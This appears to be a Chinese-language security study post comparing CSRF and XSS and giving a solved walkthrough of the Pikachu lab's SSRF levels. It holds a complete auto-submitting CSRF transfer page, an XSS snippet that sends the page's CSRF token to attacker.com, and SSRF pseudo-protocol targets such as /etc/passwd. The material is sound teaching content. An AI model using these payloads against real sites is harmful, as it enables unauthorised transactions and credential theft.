目录
6.2 第二关 SSRF(file_get_content)
一、CSRF和XSS的区别
CSRF(Cross-Site Request Forgery,跨站请求伪造)和XSS(Cross-Site Scripting,跨站脚本攻击)是网络安全领域中常见的两种攻击类型,它们都是客户端攻击,它们滥用同源策略,利用web应用程序和不知情的用户之间的信任关系。它们之间的区别主要体现在以下方面:
1.1 攻击目标
-
CSRF:攻击的目标是用户的身份认证系统,利用用户已经登录的网站身份,强迫用户在未察觉的情况下执行某些恶意操作。例如,攻击者可能会诱导用户点击恶意链接,导致用户在某个已登录的网上银行账户中转账。
-
XSS:攻击的目标是网站的前端(客户端),即攻击者通过在网站的输入区域插入恶意脚本,脚本在其他用户的浏览器中执行,进而窃取用户的敏感信息(如Cookies、会话ID)或执行任意操作。
总结:CSRF攻击的范围有限,仅限于用户可执行的操作,例如点击恶意链接或访问黑客的网站;相反,XSS攻击提供执行恶意脚本来执行攻击者所选择的任何活动,从而扩大了攻击的范围。
1.2 攻击原理
-
CSRF:攻击者诱使用户在已认证的网站上发送伪造的请求,这些请求往往是用户不知情的。攻击利用了用户在浏览器中存储的身份认证信息(如Cookies),并通过用户的已登录状态执行操作。
-
XSS:攻击者将恶意代码注入到网页中,这些代码在其他用户的浏览器中执行。通常分为两种类型:
-
存储型XSS:恶意脚本被永久存储在目标服务器上(例如在数据库中),每次有用户访问包含该恶意代码的页面时,代码就会执行。
-
反射型XSS:恶意脚本通过URL等方式直接注入到HTTP请求中,服务器响应时将恶意代码包含在响应内容中,代码在用户的浏览器中执行。
-
总结:在XSS攻击中,恶意代码存储在站点中,只要用户登录,就可以存储和交付有效载荷;而在CSRF攻击中,恶意代码存储在受害用户访问的第三方站点中。
1.3 攻击模式
-
CSRF是一种单向攻击机制,这意味着攻击者只能发起HTTP请求,但不能检索已发起请求的响应。
-
XSS攻击遵循双向攻击模式,允许攻击者执行恶意脚本、访问响应,并将后续敏感数据发送到攻击者选择的目的地。
总结:CSRF无法让攻击者获取到服务器返回的数据,由于请求是由受害者的浏览器发起的,那么服务器的响应最后还是给到了受害者那里,攻击者是拿不到这部分数据的,所以对于一些查询类功能,即便没有做任何防御CSRF的措施,它也几乎是没有利用价值的;而XSS由于可以执行js代码,这也就使得攻击者可以将它想要的数据发送到自己的服务器上,比如回传cookie。
二、CSRF的攻击步骤
这里用一个实例说明CSRF的攻击步骤。
假设有用户User C,存在CSRF漏洞的网站Web A,攻击网站Web B。攻击流程可概括如下:
1、用户在客户端通过账户密码登录访问信任网站A。
2、网站A验证客户端身份,成功后生成一个A的Cookie,返回给客户端并存储在浏览器中。
3、用户在没有退出A的情况下访问攻击网站B。
4、网站B自动触发要求该客户端访问网站A。(即在网站B中有链接指向网站A)
5、客户端通过网站B中的链接访问网站A。(此时携带有合法的Cookie进行访问站A的)
6、此时网站A只需检验Cookie是否合法,检测合法后则执行相应的操作。
总结:若要完成CSRF攻击,必须同时满足两个条件:
1.用户登录受信任网站A,并在本地生成Cookie。2. 用户在不登出A的情况下,访问危险网站B。
三、CSRF手工构造POST型页面的方法
手工构造一个用于CSRF攻击的POST型页面通常包括以下步骤。通过这种方式,攻击者可以利用受害者的浏览器自动提交恶意表单到目标网站。
1. 确定目标URL和参数
首先,攻击者需要确定目标网站的URL以及需要在POST请求中提交的参数。例如,目标URL可能是一个处理表单提交的地址,如https://example.com/transfer
,参数可能包括用户ID、金额等。
2. 编写恶意表单
攻击者编写一个HTML表单,其中包含目标URL、所需的表单字段和预设的值。这些值将被用于执行攻击操作。输入框通常是隐藏的,以避免受害者察觉。
<form id="csrfForm" action="https://example.com/transfer" method="POST">
<input type="hidden" name="user_id" value="2021212647">
<input type="hidden" name="amount" value="8888">
<input type="hidden" name="account" value="attacker_account">
</form>
3. 自动提交表单
为了确保受害者无意间提交这个表单,攻击者会在页面中添加一段JavaScript代码,自动触发表单提交。当受害者加载页面时,表单将立即提交,完成CSRF攻击。
<script type="text/javascript">
document.getElementById('csrfForm').submit();
</script>
4. 诱导受害者访问该页面
攻击者需要诱导受害者访问这个恶意页面。常见的方法包括:
-
通过社交工程手段诱导受害者点击链接。
-
将恶意页面嵌入到一个受信任的第三方网站中。
-
通过电子邮件或社交媒体发送该页面的链接。
5. 示例
下面是一个完整的CSRF恶意页面示例:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<form id="csrfForm" action="https://example.com/transfer" method="POST">
<input type="hidden" name="user_id" value="2021212647">
<input type="hidden" name="amount" value="8888">
<input type="hidden" name="account" value="attacker_account">
</form>
<script type="text/javascript">
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
四、Token类CSRF利用方法
4.1 CSRF Token的工作机制
-
当用户访问一个需要保护的表单页面时,服务器会生成一个唯一的CSRF Token,并将其嵌入到表单的隐藏字段或作为请求参数。
-
用户提交表单时,Token会随表单数据一起发送到服务器。
-
服务器接收请求后,验证接收到的Token是否与服务器端存储的Token一致。如果一致,则认为请求合法,否则拒绝请求。
4.2 攻击CSRF Token的挑战
-
攻击者无法直接获取CSRF Token,因为它通常是动态生成的,且只在服务器和用户间传递。
-
由于Token是一次性的或与用户会话绑定,攻击者无法通过简单的手段重用或伪造Token。
4.3 Token类CSRF利用方法
1. Token泄露
如果应用程序存在XSS漏洞,攻击者可以通过XSS获取CSRF Token。例如,恶意脚本可以读取页面上的Token并将其发送到攻击者的服务器,从而绕过CSRF防护。
示例代码(假设攻击者通过XSS注入了这段代码):
var csrfToken = document.getElementsByName('csrf_token')[0].value;
var img = new Image();
img.src = "https://attacker.com/steal?token=" + csrfToken;
那么一旦攻击者获得Token,他们可以使用该Token执行CSRF攻击。
2. CSRF Token未验证或验证不当
如果服务器端代码对CSRF Token的验证存在漏洞,例如Token没有正确验证、Token不唯一、或Token在多个表单间重复使用,攻击者可能会利用这些漏洞发起攻击。再例如,如果Token是通过固定的算法生成的,攻击者可能通过逆向工程猜测Token值。
3. 同源策略漏洞
某些情况下,应用程序可能在跨域请求中意外地暴露了CSRF Token,例如通过CORS配置不当使Token暴露给第三方域名。攻击者可以利用这种漏洞,通过诱导用户访问恶意页面,从而窃取Token并发起CSRF攻击。
4. 点击劫持
如果应用程序没有实施适当的防点击劫持保护(如使用X-Frame-Options
),攻击者可以通过将目标网站嵌入到恶意网站的<iframe>中,诱导用户点击并无意中提交合法的Token表单。
5. 巧用工具
可以利用Burpsuite的插件【CSRF Token Tracker】获取刚开始登录的有效Token。
安装步骤:
安装完成后即可配置:
五、SSRF常用伪协议
1. file://
协议
-
作用:允许攻击者访问服务器文件系统中的文件,尤其是敏感配置文件。
-
常见目标:
/etc/passwd
(Linux系统的用户信息文件)、/etc/hosts
、日志文件等。
2. http://
和 https://
协议
-
作用:最常见的协议,用于直接访问HTTP/HTTPS服务。
-
常见目标:内部Web服务、API、云元数据服务(如AWS、GCP、Azure的元数据服务)。
3. ftp://
协议
-
作用:可以访问FTP服务器,甚至有时可以通过FTP协议读取文件或执行命令。
-
常见目标:内部或外部的FTP服务器,有时可以通过FTP读取特定文件或触发文件上传/下载行为。
4. gopher://
协议
-
作用:Gopher协议可以构造更复杂的二进制数据包,是进行任意协议攻击的有力工具,特别是可以用来攻击不支持复杂HTTP请求的服务器(如Redis、SMTP等)。
-
常见目标:Redis、SMTP、HTTP请求伪造等。
5. dict://
协议
-
作用:DICT协议用于查询词典服务器,虽然较少见,但仍可能在某些情况下被利用。
-
常见目标:词典服务器,或在特定情况下触发其他协议操作。
6. ldap://
和 ldaps://
协议
-
作用:LDAP协议用于访问目录服务,攻击者可能会利用它尝试查询内部的LDAP目录或获取服务器配置信息。
-
常见目标:LDAP目录服务(如Active Directory)。
7. mailto:
协议
-
作用:通常用于构造电子邮件,但在某些情况下,攻击者可能利用这个协议与SMTP服务进行交互,甚至发送恶意邮件。
-
常见目标:本地或外部的SMTP服务器。
8. php://
协议
-
作用:这是PHP特有的伪协议,允许直接访问PHP的输入输出流。攻击者可以利用它读取或写入文件,甚至在某些情况下执行命令。
-
常见目标:文件读写、命令执行。
六、Pikachu靶场——SSRF通关
6.1 第一关 SSRF(curl)
看到题目,先搜一下curl的用法:PHP cURL 函数 | 菜鸟教程 (runoob.com)
扫一眼开始做题!
点击这行文字,跳转页面,发现是通过url参数进行传递请求的:
于是本地新建文件,使用file伪协议访问该文件:
成功,下一关!
6.2 第二关 SSRF(file_get_content)
同样点击文字,发现第一关的url变成了file:
同理,file伪协议读取本地文件:
成功!
七、Pikachu靶场中SSRF漏洞的成因分析
源码存储路径:
7.1 ssrf_curl.php分析
第一关漏洞成因:服务端简单get前端的URL,并没有做任何有效的校验过滤,导致了SSRF漏洞。
7.2 ssrf_fgc.php分析
第二关漏洞成因:在file协议中没有过滤恶意文件路径或url,导致攻击者可以通过file协议进行内网请求或本地文件请求。
【函数file_get_content()不仅可以读取本地文件系统的文件,还可以通过读取远程文件的内容】